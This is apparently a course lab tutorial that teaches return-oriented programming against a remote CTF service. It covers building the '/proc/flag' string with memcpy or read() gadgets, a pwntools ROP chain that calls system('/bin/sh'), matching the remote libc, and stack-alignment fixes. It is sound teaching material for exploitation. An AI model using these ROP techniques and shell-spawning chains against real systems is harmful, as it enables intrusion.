Tut07: ROP against Remote Service

In Tut06-2, we have exploited the x86_64, DEP-enabled binary without explicit leaks provided.

Step 0. Understanding the remote

In the second payload, we have invoked a sequence of calls to read the flag as follows:

(assume: symlinked "anystring" -> "/proc/flag")

1) open("anystring", 0)
2) read(3, tmp, 1040)
3) write(1, tmp, 1040)

However, symbolic-linking to a file is not allowed in the remote setting which we don't have an access to. In other words, we can either find an existing /proc/flag string in the memory, or construct it ourselves.

$ nc [LAB_SERVER_IP] 10701

[Task] Before you proceed further, make sure your exploit on Tut06-2 works against this remote service! Yet it should not print out the flag as it fails to open /proc/flag)

Step 1. Constructing /proc/flag

Unfortunately, it's unlikely that neither the binary, nor libc has the /proc/flag string. However, by ROP-ing, we can construct any string we want. Let's search for a snippet of the string from the memory.

In a GDB session, try:

> search "/proc"
libc-2.27.so    0x7ffff7867a1d 0x65732f636f72702f ('/proc/se')
libc-2.27.so    0x7ffff78690ed 0x65732f636f72702f ('/proc/se')
...

> search "flag"
libc-2.27.so    0x7ffff77f29e3 insb   byte ptr [rdi], dx /* 'flags' */
libc-2.27.so    0x7ffff77f54ad insb   byte ptr [rdi], dx /* 'flags' */
...

Our plan is to memcpy() these two strings to a temporary, writable memory for concatenation.

    memcpy(tmp2, PTR_TO_PROC, len("/proc/"))
    memcpy(tmp2+len("/proc/"), PTR_TO_FLAG, len("flag"))

When determining the memcpy address in your libc library, you might notice that there are multiple memcpy()-like functions embedded in the libc library. For example, in the arch distribution, its libc provides numerous implementation of memcpy(). In fact, it is one kind of IFUNC which allows us to select an optimized version of the same function based on the hardware capability at runtime.

$ readelf -a /usr/lib/libc.so.6 | grep memcpy | grep -v wmem
  1215: 0000000000090da0   193 IFUNC   GLOBAL DEFAULT   16 memcpy@@GLIBC_2.14
  1217: 00000000000a9280    44 FUNC    GLOBAL DEFAULT   16 memcpy@GLIBC_2.2.5
  1760: 000000000010d7a0   193 IFUNC   GLOBAL DEFAULT   16 __memcpy_chk@@GLIBC_2.3.4
  1232: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS memcpy.c
  1233: 0000000000090da0   193 IFUNC   LOCAL  DEFAULT   16 memcpy
  1234: 0000000000090da0   193 FUNC    LOCAL  DEFAULT   16 __new_memcpy_ifunc
  2404: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS memcpy_chk.c
  2405: 000000000010d7a0   193 FUNC    LOCAL  DEFAULT   16 __memcpy_chk_ifunc
  3254: 00000000000a9350    13 FUNC    LOCAL  DEFAULT   16 __memcpy_chk_sse2_unaligned_erms
  3431: 00000000000a92e0    13 FUNC    LOCAL  DEFAULT   16 __memcpy_chk_erms
  3588: 0000000000090da0   193 IFUNC   LOCAL  DEFAULT   16 __new_memcpy
  3637: 00000000000a92f0    49 FUNC    LOCAL  DEFAULT   16 __memcpy_erms
  3664: 0000000000165a70    13 FUNC    LOCAL  DEFAULT   16 __memcpy_chk_avx_unaligned_erms
  3735: 00000000000a9360   765 FUNC    LOCAL  DEFAULT   16 __memcpy_sse2_unaligned_erms
  3739: 000000000016a7f0    13 FUNC    LOCAL  DEFAULT   16 __memcpy_chk_avx512_unaligned_erms
  3764: 00000000001457b0 10966 FUNC    LOCAL  DEFAULT   16 __memcpy_ssse3_back
  3981: 00000000000a9270    13 FUNC    LOCAL  DEFAULT   16 __memcpy_chk_sse2_unaligned
  4077: 00000000001457a0    13 FUNC    LOCAL  DEFAULT   16 __memcpy_chk_ssse3_back
  4083: 0000000000169d80    13 FUNC    LOCAL  DEFAULT   16 __memcpy_chk_avx512_no_vzeroupper
  4411: 000000000016a800  1248 FUNC    LOCAL  DEFAULT   16 __memcpy_avx512_unaligned_erms
  4505: 000000000016a780    13 FUNC    LOCAL  DEFAULT   16 __memcpy_chk_avx512_unaligned
  4510: 0000000000090da0   193 IFUNC   LOCAL  DEFAULT   16 __GI_memcpy
  4760: 0000000000140220 10695 FUNC    LOCAL  DEFAULT   16 __memcpy_ssse3
  4909: 0000000000140210    13 FUNC    LOCAL  DEFAULT   16 __memcpy_chk_ssse3
  5062: 00000000000a9280    44 FUNC    LOCAL  DEFAULT   16 __memcpy_sse2_unaligned
  5124: 0000000000165a00    13 FUNC    LOCAL  DEFAULT   16 __memcpy_chk_avx_unaligned
  5126: 000000000016a790    62 FUNC    LOCAL  DEFAULT   16 __memcpy_avx512_unaligned
  5267: 0000000000165a80   984 FUNC    LOCAL  DEFAULT   16 __memcpy_avx_unaligned_erms
  5298: 0000000000169d90  1855 FUNC    LOCAL  DEFAULT   16 __memcpy_avx512_no_vzeroupper
  5774: 0000000000165a10    51 FUNC    LOCAL  DEFAULT   16 __memcpy_avx_unaligned
  6221: 0000000000090da0   193 IFUNC   GLOBAL DEFAULT   16 memcpy@@GLIBC_2.14
  7240: 00000000000a9280    44 FUNC    GLOBAL DEFAULT   16 memcpy@GLIBC_2.2.5
  7873: 000000000010d7a0   193 IFUNC   GLOBAL DEFAULT   16 __memcpy_chk

When a memcpy() is invoked in straight without using the dynamic linker, you invoke a dispatcher that checks the hardware capability and picks the best candidate for the execution. In other words, to invoke a real memcpy(), you have to invoke one of FUNC symbols (e.g., memcpy@GLIBC_2.2.5).

And your final payload would be:

1) open(tmp2, 0); // tmp2 now contains concatenated /proc/flag string
2) read(3, tmp, 1040);
3) write(1, tmp, 1040);

Perhaps, you can try prepending memcpy() calls, but you would realize that the challenge binary only accepts 256-byte user input.

[Task] Try to exploit the program once again; it is now a three-stage exploit:

  • use the leaked addresses to find the desired functions and memory
  • concatenate the /proc/flag string
  • open() + read() + write()

Can you successfully get the flag from the remote server?

Step 2. Injecting /proc/flag

In fact, there is a much easier method. As the program flow has been hijacked, we can directly inject our input (i.e., "/proc/flag") to an arbitrary memory region by simply invoking read().

    read(0, tmp2, 11);

[Task] Could you tweak your exploit to accept "/proc/flag" and save it to tmp2?

Note when feeding multiple inputs to the remote service, you may want to briefly pause the exploit in between by sleep() or wait until the previous input is properly processed (e.g., using recvuntil()). Otherwise, the current payload could be read along with your earlier ones.

Another option to avoid the problem is to always send a full-sized input, which is as large as the read() size (i.e., 256-bytes in the start() of the binary), so that it forces read() to return before accepting your next input.

Tip. Using pwntools. You can also automate the ROP programming process. Take a look at the below sample, then you will have a good idea about how to utilize this.

from pwn import *

context.arch = "x86_64"
os.environ["XDG_CACHE_HOME"] = "./" # override pwntools's default cache_dir
                                    # to your secret tmp directory

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = 0xdeadb000 # put the leaked libc base

rop = ROP(libc)
# fill the buffer
rop.raw("A"*44)
# system("/bin/sh")
rop.system(next(libc.search('/bin/sh\x00')))
# exit(0)
rop.exit(0)

# get the payload
payload = rop.chain()

Also, while writing an ROP chain, it's a good idea to check its payload constantly by using dump().

print(rop.dump())

0x0000:       'AAAAAAAA' 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
0x0008:       'AAAAAAAA'
0x0010:       'AAAAAAAA'
0x0018:       'AAAAAAAA'
0x0020:       'AAAAAAAA'
0x0028:       'AAAAaaaa'
0x0030:       0xdeafc55f pop rdi; ret
0x0038:       0xdec8f0fa [arg0] rdi = 3737710842
0x0040:       0xdeb2a4e0 system
0x0048:       0xdeafc55f pop rdi; ret
0x0050:              0x0 [arg0] rdi = 0
0x0058:       0xdeb1e1d0 exit

The ROP payload correctly constructed the chain by using the pop rdi; ret gadget in libc! If you feel ambitious, you can organize the ROP chain with a cleaner manner by using the ROP module.

Tip 1. Launching the Remote Binary

The remote environment might use different libraries (e.g., libc), so your payload relying on gadgets outside of the binary module would not work as expected. For example, if you are using a different distribution (or under different minor/major version), you have to make sure you are using the exactly same libraries first.

One simple way to avoid this problem is to copy and use the libraries from the remote server.

[remote] $ ldd target-seccomp
	linux-vdso.so.1 (0x00007ffdb5cba000)
	libseccomp.so.2 => /lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007f6cc3f72000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6cc3b81000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f6cc41be000)

$ scp lab07@[ip]:/lib/x86_64-linux-gnu/libc.so.6 .
$ scp lab07@[ip]:/lib64/ld-linux-x86-64.so.2 .

By using the dynamic linker and the libc library, you can launch target-seccomp as if it runs on the remote server:

$ LD_LIBRARY_PATH=. ./ld-linux-x86-64.so.2 ./target-seccomp
IOLI Crackme Level 0x00
Password:
...

$ cat /proc/[pid]/maps | grep libc
7f7792d50000-7f7792f37000 r-xp 00000000 08:01 /tmp/tut07-remote/libc.so.6
7f7792f37000-7f7793137000 ---p 001e7000 08:01 /tmp/tut07-remote/libc.so.6
7f7793137000-7f779313b000 r--p 001e7000 08:01 /tmp/tut07-remote/libc.so.6
7f779313b000-7f779313d000 rw-p 001eb000 08:01 /tmp/tut07-remote/libc.so.6

With LD_LIBRARY_PATH=., you commended the linker to lookup the libraries in the current working directory when preparing ./target-seccomp for execution. As shown above, the maps indicates that libc.so.6 in the current directory is used instead of the system's libc.

In python, you can launch the program exactly same as the command line:

p = process(["./ld-linux-x86-64.so.2", "./target-seccomp"],
            env={"LD_LIBRARY_PATH": "."})

Note that if you are using the same distribution, the dynamic linker is unlikely needed to launch the binary.

Tip 2. Segmentation Fault in libc Functions

Recent ABI convention is changed to follow 16-byte stack alignment in all architecture, meaning that the compiler can take advantage of modern vector instructions for stack variables. If your ROP payload didn't respect that alignment, you might see such a situation below:

Program received signal SIGSEGV, Segmentation fault.
0x00007fcd188aa6ee in ?? () from ./libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────[ REGISTERS ]──────────────────────
 RAX  0x7fcd18c33760 ← 0x0
 RBX  0x7fcd18c38760 (_IO_2_1_stdout_) ← 0xfbad2887
 RCX  0x7fcd1895c264 (write+20) ← cmp    rax, -0x1000
 RDX  0x7ffd9d1bd4c8 ← 0x3000000008
 RDI  0x7ffd9d1bae08 ← 0xfbad8004
 RSI  0x400c9c ← push   rax
 R8   0x17
 R9   0x3e8
 R10  0x4
 R11  0x246
 R12  0xffffffff
 R13  0x7ffd9d1bd678 ← 0x1c
 R14  0x7fcd18c38760 (_IO_2_1_stdout_) ← 0xfbad2887
 R15  0xfbad2887
 RBP  0x7ffd9d1bd4b8 → 0x7ffd9d1bd5c8 ← 0x4141414141414141 ('AAAAAAAA')
 RSP  0x7ffd9d1badd8 → 0x7ffd9d1baeb9 ← 0x0
 RIP  0x7fcd188aa6ee ← movaps xmmword ptr [rsp + 0x50], xmm0
──────────────────────[ DISASM ]──────────────────────
 ► 0x7fcd188aa6ee    movaps xmmword ptr [rsp + 0x50], xmm0
   0x7fcd188aa6f3    mov    qword ptr [rsp + 0x108], rax
   0x7fcd188aa6fb    call   vfprintf <0x7fcd188a7420>
...

In this case, printf attempts to copy a variable in xmm0 to the stack but rsp = 0x7ffd9d1badd8 is 8-byte aligned at the moment (because of your exploit).

The solution is very simple: you can lift one more slot (8-byte) in the stack by inserting one nop gadget (i.e., one ret instruction) in the ROP payload!

Good luck!